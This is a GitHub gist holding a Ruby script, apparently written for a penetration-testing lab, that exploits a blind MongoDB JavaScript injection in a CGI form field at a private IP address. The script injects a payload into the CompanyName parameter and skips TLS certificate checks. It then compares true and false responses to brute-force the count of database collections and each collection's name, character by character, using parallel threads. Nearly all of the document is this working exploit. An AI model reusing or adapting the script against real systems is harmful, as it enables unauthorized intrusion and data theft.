Created
September 19, 2019 23:06
-
-
Save ugnius-s/a18be8a8530ee29e451b942a611f4f93 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'http' | |
require 'timeout' | |
require 'parallel' | |
MAX_COLLECTIONS_LENGTH = 100 | |
MAX_COLLECTION_NAME_LENGTH = 100 | |
alpha = ('a'..'z').to_a | |
numeric = ('0'..'9').to_a | |
special = [".", "_"] | |
characters = alpha + numeric + special | |
data = {} | |
def exploit(condition) | |
ctx = OpenSSL::SSL::SSLContext.new | |
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE | |
uri = "https://10.11.1.238/cgi-bin/mongo/2.2.3/dbparse.py" | |
payload = """'; return [INJECT]; var f='""" | |
HTTP.post(uri, ssl_context: ctx, | |
form: { CompanyName: payload.sub('[INJECT]', condition) }) | |
end | |
true_response = exploit('true').body.to_s | |
puts "[!] Found true response of body length #{true_response.size} bytes" | |
false_response = exploit('false').body.to_s | |
puts "[!] Found false response of body length #{false_response.size} bytes" | |
if true_response == false_response | |
puts "[-] True and False condition response is the same. Is the target exploitable?" | |
return | |
end | |
# puts "[+] Getting number of collections in the database" | |
Parallel.each((0..MAX_COLLECTIONS_LENGTH).to_a, in_threads: 10) do |length| | |
condition = "db.getCollectionNames().length == #{length}" | |
response = exploit(condition).body.to_s | |
if response != false_response && response == true_response | |
puts "[!] Found collection list length: #{length}" | |
data['collections_length'] = length | |
raise Parallel::Kill | |
end | |
end | |
if data['collections_length'].zero? | |
puts "[-] No collections found. Database empty? Try increasing MAX_COLLECTION_SIZE number?" | |
return | |
end | |
# puts "[+] Getting names of collections in the database" | |
(0..(data['collections_length'] - 1)).each do |collection_index| | |
# puts "[+] Getting collection ##{collection_index + 1} name length." | |
collection_name_length = 0 | |
Parallel.each((0..MAX_COLLECTION_NAME_LENGTH), in_threads: 10) do |collection_name_length_index| | |
condition = "db.getCollectionNames()[#{collection_index}].length == #{collection_name_length_index}" | |
response = exploit(condition).body.to_s | |
if response != false_response && response == true_response | |
puts "[!] Found collection ##{collection_index + 1} name length: #{collection_name_length_index}" | |
collection_name_length = collection_name_length_index | |
raise Parallel::Kill | |
end | |
end | |
return if collection_name_length.zero? | |
collection_name = Array.new(collection_name_length, "") | |
# puts "[+] Getting collection ##{collection_index + 1} name." | |
Parallel.each(0..(collection_name_length - 1), in_threads: collection_name_length) do |collection_name_index| | |
Parallel.each(characters, in_threads: 3) do |character| | |
condition = "db.getCollectionNames()[#{collection_index}][#{collection_name_index}] == '#{character}'" | |
response = exploit(condition).body.to_s | |
if response != false_response && response == true_response | |
collection_name[collection_name_index] = character | |
raise Parallel::Kill | |
end | |
end | |
end | |
puts "[+] Collection ##{collection_index + 1} name: #{collection_name.join}" | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment